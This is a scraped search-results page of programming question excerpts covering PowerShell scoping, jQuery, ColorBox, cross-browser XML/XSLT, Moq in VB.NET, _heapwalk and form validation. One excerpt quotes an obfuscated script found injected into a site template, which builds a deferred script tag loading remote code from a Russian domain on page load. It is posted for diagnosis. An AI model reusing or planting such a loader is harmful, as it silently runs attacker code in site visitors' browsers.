Search Results

Search found 37654 results on 1507 pages for 'function prototypes'.

facebook twitter digg google delicious technorati stumbleupon myspace wordpress linkedin gmail igoogle windows live tumblr viadeo yahoo buzz yahoo mail yahoo bookmarks favorites email print

Page 591/1507 | < Previous Page | 587 588 589 590 591 592 593 594 595 596 597 598  | Next Page >

  • Strange behavior with Powershell scriptblock variable scope and modules, any suggestions?

    - by DanMan
    NOTE: I'm using PowerShell 2.0 on Windows Vista. I'm trying to add support for specifying build arguments to psake, but I've run into some strange PowerShell variable scoping behavior dealing specifically with calling functions that have been exported using Export-ModuleMember (which is how psake exposes it's main method). Following is a simple PowerShell module to illustrate (named repoCase.psm1): function Test { param( [Parameter(Position=0,Mandatory=0)] [scriptblock]$properties = {} ) $defaults = {$message = "Hello, world!"} Write-Host "Before running defaults, message is: $message" . $defaults #At this point, $message is correctly set to "Hellow, world!" Write-Host "Aftering running defaults, message is: $message" . $properties #At this point, I would expect $message to be set to whatever is passed in, #which in this case is "Hello from poperties!", but it isn't. Write-Host "Aftering running properties, message is: $message" } Export-ModuleMember -Function "Test" To test the module, run the following sequence of commands (be sure you're in the same directory as the repoCase.psm1): Import-Module .\repoCase.psm1 #Note that $message should be null Write-Host "Before execution - In global scope, message is: $message" Test -properties { "Executing properties, message is $message"; $message = "Hello from properties!"; } #Now $message is set to the value from the script block. The script block affected only the global scope. Write-Host "After execution - In global scope, message is: $message" Remove-Module repoCase The behavior I expected was for the script block I passed to Test to affect the local scope of Test. It is being 'dotsourced' in, so any changes it makes should be within the scope of the caller. However, that's not what's happening, it seems to be affecting the scope of where it was declared. Here's the output: Before execution - In global scope, message is: Before running defaults, message is: Aftering running defaults, message is: Hello, world! Executing properties, message is Aftering running properties, message is: Hello, world! After execution - In global scope, message is: Hello from properties! Interestingly, if I don't export Test as a module and instead just declare the function and invoke it, everything works just like I would expect it to. The script block affects only Test's scope, and does not modify the global scope. I'm not a PowerShell guru, but can someone explain this behavior to me?

    Read the article

  • Programmatically change the width/height of ColorBox onClick.

    - by Derek Adair
    Hi, I'm using the jquery plugin ColorBox. I have a page with several item listings. Each listing has a ColorBox attached to it. $("a.modalButton").each(function(){ $(this).colorbox({ width:"933px", height:"720px", iframe:true, onComplete:function(){ //remove the text from the close button //wasn't sure how else to do that $('#cboxClose').html(''); } }); }); In each ColorBox window there is an "email me" button. When it is clicked I replace the html content that is in the window with a form to email the listing. I would like the window to resize to fit the form after this button is clicked

    Read the article

  • XML cross-browser support

    - by 1anthony1
    I need help getting the file to run in Firefox: I have tried adapting scripts so that my file runs in both IE and Firefox but so far it still only works in IE. (The file can be tested at http://www.eyle.org/crosstest.html - simply type the word Mike in the text box using IE (doesn't work in Firefox).The HTML document is: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <script type="text/javascript"> var xmlDoc; //loads xml using either IE or firefox function loadXmlDoc() { //test for IE if(window.ActiveXObject) { xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async = false; xmlDoc.load("books2.xml"); } //test for Firefox else if(document.implementation && document.implementation.createDocument) { xmlDoc = document.implementation.createDocument("","",null); xmlDoc.load("books2.xml"); } //if neither else {document.write("xml file did not load");} } //window.onload = loadXmlDoc(); var subject; //getDetails adds value of txtField to var subject in outputgroup(subject) function getDetails() { //either this or window.onload = loadXmlDoc is needed loadXmlDoc(); var subject = document.getElementById("txtField1").value; function outputgroup(subject) { var xslt = new ActiveXObject("Msxml2.XSLTemplate"); var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument"); var xslProc; xslDoc.async = false; xslDoc.resolveExternals = false; xslDoc.load("contains3books.xsl"); xslt.stylesheet = xslDoc; xslProc = xslt.createProcessor(); xslProc.input = xmlDoc; xslProc.addParameter("subj", subject); xslProc.transform(); document.write(xslProc.output); } outputgroup(subject); } </script> </head> <body> <input type="text" id="txtField1"> <input type="submit" onClick="getDetails(); return false"> </body> </html> The file includes books2.xml and contains3books.xsl (I have put the code for these files at ...ww.eyle.org/books2.xml ...ww.eyle.org/contains3books.xsl) (NB: replace ...ww. with http: // www)

    Read the article

  • jQuery event to trigger action when a div is made visible

    - by frankadelic
    I'm using jQuery in my site and I would like to trigger certain actions when a certain div is made visible. Is it possible to attach some sort of "isvisible" event handler to arbitrary divs and have certain code run when they the div is made visible? I would like something like the following pseudocode: $(function() { $('#contentDiv').isvisible(function() { alert("do something"); }); }); The alert("do something") code should not fire until the contentDiv is actually made visible. Thanks.

    Read the article

  • If/else isn't working properly

    - by luckytaxi
    I have a validation function I'm using inside of codeigniter. function valid_image() { if ( ($_FILES["file"]["type"] != "image/jpeg") || ($_FILES["file"]["type"] != "image/gif") ) { $this->form_validation->set_message('valid_image', 'Wrong file type..'); return false; } else { return true; } With just the "image/jpeg" part in the if statement it works fine. If I try to upload anything other than a jpg file it fails. If I run the code above, it fails with both a jpg or a gif file. And before someone says "why not use the upload class," I can't. I'm saving my pics directly into MongoDB, so the upload class doesn't help much.

    Read the article

  • facebook iframe size not working under https facebook connect

    - by acton
    Follow the following direction in: http://wiki.developers.facebook.com/index.php/Facebook_Connect_Via_SSL to use SSL version facebook connect, some of CanvasUtil functions regarding the resizing doesn't seem to work, the code is as following: FB_RequireFeatures(["Connect","Api","CanvasUtil"], function() { FB.Facebook.init(apiKey, channel,{ "doNotUseCachedConnectState":true }); FB.CanvasClient.getCanvasInfo(function(info){ alert("get it"); }); }); I don't see "get it". If I swtich back to http version, I could get the alert message and things are ok. Does anyone know how to make CanvasUtils from SSL facebook connect working? It might be a bug in facebook. Thanks a lot!

    Read the article

  • Convert C# event handling to VB.NET

    - by Quandary
    Question: The following C# code: public event RemoteAPI.NotifyCallback Notify { add { s_notify = value; } remove { Console.WriteLine("TODO : Notify remove."); } } How do I convert this to VB.NET ? It implements an interface: Public Interface ICallsToServer ''' <summary> ''' Function to call the server from the client ''' </summary> ''' <param name="n">Some number</param> ''' <returns>Some interesting text</returns> Function SomeSimpleFunction(ByVal n As Integer) As String ''' <summary> ''' Add or remove callback destinations on the client ''' </summary> Event Notify As NotifyCallback End Interface The VB.NET automatically generated code was: Public Event Notify(ByVal s As String) Implements RemoteAPI.ICallsToServer.Notify

    Read the article

  • How should moq's VerifySet be called in VB.net

    - by Bender
    I am trying to test that a property has been set but when I write this as a unit test: moqFeed.VerifySet(Function(m) m.RowAdded = "Row Added") moq complains that "Expression is not a property setter invocation" My complete code is Imports Gallio.Framework Imports MbUnit.Framework Imports Moq <TestFixture()> Public Class GUI_FeedPresenter_Test Private moqFeed As Moq.Mock(Of IFeedView) <SetUp()> Sub Setup() moqFeed = New Mock(Of IFeedView) End Sub <Test()> Public Sub New_Presenter() Dim pres = New FeedPresenter(moqFeed.Object) moqFeed.VerifySet(Function(m) m.RowAdded = "Row Added") End Sub End Class Public Interface IFeedView Property RowAdded() As String End Interface Public Class FeedPresenter Private _FeedView As IFeedView Public Sub New(ByVal feedView As IFeedView) _FeedView = feedView _FeedView.RowAdded = "Row Added" End Sub End Class I can't find any examples of moq in VB, I would be grateful for any examples.

    Read the article

  • How to smooth an image loaded with FileReference?

    - by Lost_in_code
    Been trying to smooth images loaded with FileReferece with no luck. Below is the code I'm using: fileRef = new FileReference(); fileRef.addEventListener(Event.COMPLETE, fileLoaded); private function fileLoaded(e:Event):void{ var ldr:Loader = new Loader(); ldr.contentLoaderInfo.addEventListener(Event.COMPLETE, function(e:Event):void{ var bm:Bitmap = Bitmap(e.target.content as Bitmap); bm.smoothing = true; img.load(bm) }); ldr.loadBytes(fileRef.data); } <custom:SWFLoaderAdvanced id="img"/> bm.smoothing should've smoothened the loaded image, but for some reason it doesn't. Am I missing something here? Note: SWFLoaderAdvanced automatically smoothens any image that's loaded inside it. It works perfectly with loaded images other than the ones loaded with FileReference.

    Read the article

  • _heapwalk reports _HEAPBADNODE, causes breakpoint or loops endlessly

    - by Stefan Hubert
    I use _heapwalk to gather statistics about the Process' standard heap. Under certain circumstances i observe unexpected behaviours like: _HEAPBADNODE is returned some breakpoint is triggered inside _heapwalk, telling me the heap might got corrupted access violation inside _heapWalk. I saw different behaviours on different Computers. On one Windows XP 32 bit machine everything looked fine, whereas on two Windows XP 64 bit machines i saw the mentioned symptoms. I saw this behaviour only if LowFragmentationHeap was enabled. I played around a bit. I walked the heap several times right one after another inside my program. First time doing nothing in between the subsequent calls to _heapWalk (everything fine). Then again, this time doing some stuff (for gathering statistics) in between two subsequent calls to _heapWalk. Depending upon what I did there, I sometimes got the described symptoms. Here finally a question: What exactly is safe and what is not safe to do in between two subsequent calls to _heapWalk during a complete heap walk run? Naturally, i shall not manipulate the heap. Therefore i doublechecked that i don't call new and delete. However, my observation is that function calls with some parameter passing causes my heap walk run to fail already. I subsequently added function calls and increasing number of parameters passed to these. My feeling was two function calls with two paramters being passed did not work anymore. However I would like to know why. Any ideas why this does not happen on some machines? Any ideas why this only happens if LowFragmentationHeap is enabled? Sample Code finally: #include <malloc.h> void staticMethodB( int a, int b ) { } void staticMethodA( int a, int b, int c) { staticMethodB( 3, 6); return; } ... _HEAPINFO hinfo; hinfo._pentry = NULL; while( ( heapstatus = _heapwalk( &hinfo ) ) == _HEAPOK ) { //doing nothing here works fine //however if i call functions here with parameters, this causes //_HEAPBADNODE or something else staticMethodA( 3,4,5); } switch( heapstatus ) { ... case _HEAPBADNODE: assert( false ); /*ERROR - bad node in heap */ break; ...

    Read the article

  • HttpContext.Current.Request.UserHostName is empty when called from a class

    - by John Galt
    I have various web pages that need to build up a URL to display or place it in an emitted email message. The code I inherited had this value for the name of the webserver in a Public Const in a Public Class called FixedConstants. For example: Public Const cdServerName As String = "WEBSERVERNAME" Trying to improve on this, I wrote this: Public Class UIFunction Public Shared myhttpcontext As HttpContext Public Shared Function cdWebServer() As String Dim s As New StringBuilder("http://") Dim h As String h = String.Empty Try h = Current.Request.ServerVariables("REMOTE_HOST").ToString() Catch ex As Exception Dim m As String m = ex.Message.ToString() 'Ignore this should-not-occur thingy End Try If h = String.Empty Then h = "SomeWebServer" End If s.Append(h) s.Append("/") Return s.ToString() End Function I've tried different things while debugging such as HttpContext.Current.Request.UserHostName and I always get an empty string which pumps out my default string "SomeWebServer". I know Request.UserHostName or Request.ServerVariables("REMOTE_HOST") works when invoked from a page but why does this return empty when invoked from a called method of a class file (i.e. UIFunction.vb)?

    Read the article

  • Form submit event problem

    - by developer 2010
    <form id="form1" runat="server" onsubmit="return CheckForm(this)"> <script type="text/javascript" language="javascript"> function CheckForm(frm) { if(CheckEntireForm(frm) == false) return false; } </script> Hello EveryBody Please help me to get solution I've used a javascript function on form's onSubmit event like which validates my page's textboxes etc. NOTE: i am not using asp.net's validation. i have got my own validation classes I've also used a dropdownlist with auto post back set to true in asp.net 2.0 when dropdownlist's selected index is changed it calls form's onsubmit while this did not use to happen in asp.net 1.1 I've used this on 140 pages in my website the worst case will be to call CheckForm(this.form) on my save buttons client click on all the pages. I am looking for a backword compatibility solution which can be applied at a single place like web.config or some class etc. i am using asp.net and javascript

    Read the article

  • prototype/javascript - firefox not firing keypress/keydown event unless focus is in textbox

    - by Chloraphil
    The following works fine on IE6, IE7, and chrome. Not working on ff 3.0.7. <html><head> <script src="prototype.js" type="text/javascript" ></script> <script type="text/javascript"> Event.observe(window, 'load', function(){ Event.observe(document.body, 'keydown', myEventHandler); alert('window load'); }); function myEventHandler(evt) { alert(evt); } </script> </head> <body > <input type="text" /><br><br> </body></html> EDIT: By "not working" I mean myEventHandler is not firing in firefox. EDIT2: Furthermore, it works fine when focus is on the input element. I want it fire for all keydowns.

    Read the article

  • Weird Javascript in Template. Is this a hacking attempt?

    - by Julian
    I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

    Read the article

  • Question about Intent, android

    - by Kaustubh
    I am confused, and need to get my concepts straight. After executing the last statement, which function is called, in MapsActivity? is it onResume? and under which function (onResume()?) should i put getExtra()? Log.i("onMenuAnimate", "Attempting to animate to:"); Intent intent = new Intent(SearchDB.this, MapsActivity.class); intent.putExtra("com.gpsdroid.SearchDB.Lat", nameLatitude.getText()); intent.putExtra("com.gpsdroid.SearchDB.Long", nameLatitude.getText()); SearchDB.this.startActivity(intent);

    Read the article

  • How can I disable multiple links with jQuery?

    - by Samantha J
    I have the following HTML: <a title="Login" data-href="/MyAccount/Access/Login" data-title="Admin" data-entity="n/a" id="loginLink" class="nav-button dialogLink"><b>Login</b></a> <a title="Register" data-href="/MyAccount/Access/Register" data-title="Admin" data-entity="n/a" id="registerLink" class="nav-button dialogLink"><b>Register</b></a> When a user clicks on the #loginLink or #registerLink I would like to disable the link and call a dialog script. I created the following function: $("#loginLink, #registerLink") .click(function () { $('#loginLink').prop('disabled', true); $('#registerLink').prop('disabled', true); dialog(this); }); It calls the dialog correctly but doesn't disable the links and if I click the buttons more than once it calls up more than one dialog box. Is there something I am doing wrong? I can't see why it would not work.

    Read the article

  • MooTools Fx.Slide throwing this.element is null

    - by Brant
    The following code is throwing the error "this.element is null". However, the wid_cont is definitely grabbing an element. window.addEvent('domready',function(){ var min = $(document.body).getElements('a.widget_minimize'); min.addEvent('click', function(event){ event.stop(); //var box = ; var wid_cont = ($(this).getParents('.widget_box').getElement('.widget_box_content_cont')); var myVerticalSlide = new Fx.Slide(wid_cont); myVerticalSlide.slideOut(); } ); }); It's moo tools 1.2.4 and has the fx.slide included....

    Read the article

  • valueOf() vs. toString() in Javascript

    - by brainjam
    In Javascript every object has a valueOf() and toString() method. I would have thought that the toString() method got invoked whenever a string conversion is called for, but apparently it is trumped by valueOf(). For example, the code var x = {toString: function() {return "foo"; }, valueOf: function() {return 42; }}; window.console.log ("x="+x); window.console.log ("x="+x.toString()); will print x=42 x=foo This strikes me as backwards .. if x were a complex number, for example, I would want valueOf() to give me its magnitude (so that zero would become special), but whenever I wanted to convert to a string I would want something like "a+bi". And I wouldn't want to have to call toString() explicitly in contexts that implied a string. Is this just the way it is?

    Read the article

  • Chrome extensions: Content script (jQuery) in Youtube does not work properly

    - by Fabian
    I have this: $(document).ready(function() { $("button.yt-uix-expander-arrow").attr("id", "yt-uix-expander-arrow"); $("#yt-uix-expander-arrow").mouseover(function() { alert("Hello"); }); }); injected into Youtube. Using right click inspect element, the <button class="yt-uix-expander-arrow"> has a id="yt-uix-expander-arrow" attribute successfully added to it. However the mouseover event does not trigger. However if I were to change $("#yt-uix-expander-arrow").mouseover() to $(".yt-uix-expander-arrow").mouseover() it works. That's very unusual, because the #yt-uix-expander-arrow id has already been added to the button element. I tested it out on Facebook, adding a id to a class and doing a mouseover() event on the ID and it works. Any idea?

    Read the article

  • java script is not working

    - by Piyush
    i am comparing password and confirm password through java script.my code- function validate_form(thisform) { with (thisform) { if (validate_required(password,"<b>Error: </b>Password must be filled out!")==false) {password.focus();return false;} else if (validate_required(cnfpassword,"<b>Error: </b>Confirm Password must be filled out!")==false) {cnfpassword.focus();return false;} else if (document.getElementById('password').value != document.getElementById('cnfpassword').value) {password.focus();Sexy.error("<b>Error: </b>Passwords entered are not same!"); password.value="";cnfpassword.value="";return false;} } validate_required() function is working fine, it is showing alert msg but password compare is not working. But the same code is working fine in some other page.I have written some php code to avoid page caching- <?php session_start(); session_cache_limiter('nocache'); header('Pragma: no-cache'); ?> what's the problem???

    Read the article

  • Select dynamic string has a different value when referenced in Where clause

    - by David
    I dynamically select a string built using another string. So, if string1='David Banner', then MyDynamicString should be 'DBanne' Select ... , Left( left((select top 1 strval from dbo.SPLIT(string1,' ')) //first word ,1) //first character + (select top 1 strval from dbo.SPLIT(string1,' ') //second word where strval not in (select top 1 strval from dbo.SPLIT(string1,' '))) ,6) //1st character of 1st word, followed by up to 5 characters of second word [MyDynamicString] ,... From table1 Join table2 on table1pkey=table2fkey Where MyDynamicString <> table2.someotherfield I know table2.someotherfield is not equal to the dynamic string. However, when I replace MyDynamicString in the Where clause with the full left(left(etc.. function, it works as expected. Can I not reference this string later in the query? Do I have to build it using the left(left(etc.. function each time in the where clause?

    Read the article

  • How to get a asp:radiobutton text in javascript?

    - by bala3569
    How to get a asp:radiobutton text in javascript? I use this RbDriver1.Text = dt.Rows[0].ItemArray[5].ToString(); RbDriver2.Text = dt.Rows[0].ItemArray[6].ToString() ; and my javascript function is function getDriverwireless() { alert(document.getElementById("ctl00_ContentPlaceHolder1_RbDriver1")); alert(document.getElementById("ctl00_ContentPlaceHolder1_RbDriver1").innerHTML); } innerHTML doesnt seems to take the text of my radiobutton...any suggestion When i inspect throgh firebug i found this <input type="radio" onclick="getDriverwireless();" value="RbDriver1" name="ctl00$ContentPlaceHolder1$drivername" id="ctl00_ContentPlaceHolder1_RbDriver1"> <label for="ctl00_ContentPlaceHolder1_RbDriver1">kamal,9566454564</label> I want to get the value kamal,9566454564 in javascript...

    Read the article

  • Not all parameters get sent in jquery ajax call

    - by rksprst
    I have a strange error where my jquery ajax request doesn't submit all the parameters. $.ajax({ url: "/ajax/doAssignTask", type: 'GET', contentType: "application/json", data: { "just_a_task": just_a_task, "fb_post_date": fb_post_date, "task_fb_postId": task_fb_postId, "sedia_task_guid": sedia_task_guid, "itemGuid": itemGuid, "itemType": itemType, "taskName": taskName, "assignedToUserGuid": assignedToUserGuid, "taskDescription": taskDescription }, success: function(data, status) { //success code }, error: function(xhr, desc, err) { //error code } }); But using firebug (and debugging) I can see that only these variables are posted: assignedToUserGuid itemGuid itemType just_a_task taskDescription taskName It's missing fb_post_date, task_fb_postId, and sedia_task_guid I have no idea what would cause it to post only some items and not others? Anyone know? Data is sent to asp.net controller that returns jsonresult (hence the contentType) Any help is appreciated. Thanks!

    Read the article

  • Only perform jquery effects/operations on certain pages

    - by Galen
    Up until now i've been dropping all my jquery code right inside the document.ready function. I'm thinking that for certain situations this isnt the best way to go. for example: If i want an animation to perform when a certain page loads what is the best way to go about that. $(document).ready(function() { $("#element_1").fadeIn(); $("#element_2").delay('100').fadeIn(); $("#element_3").delay('200').fadeIn(); }); If this is right inside of document.ready then every time ANY page loads it's going to check each line and look for that element. What is the best way to tell jquery to only perform a chunk of code on a certain page to avoid this issue.

    Read the article

facebook twitter digg google delicious technorati stumbleupon myspace wordpress linkedin gmail igoogle windows live tumblr viadeo yahoo buzz yahoo mail yahoo bookmarks favorites email print

< Previous Page | 587 588 589 590 591 592 593 594 595 596 597 598  | Next Page >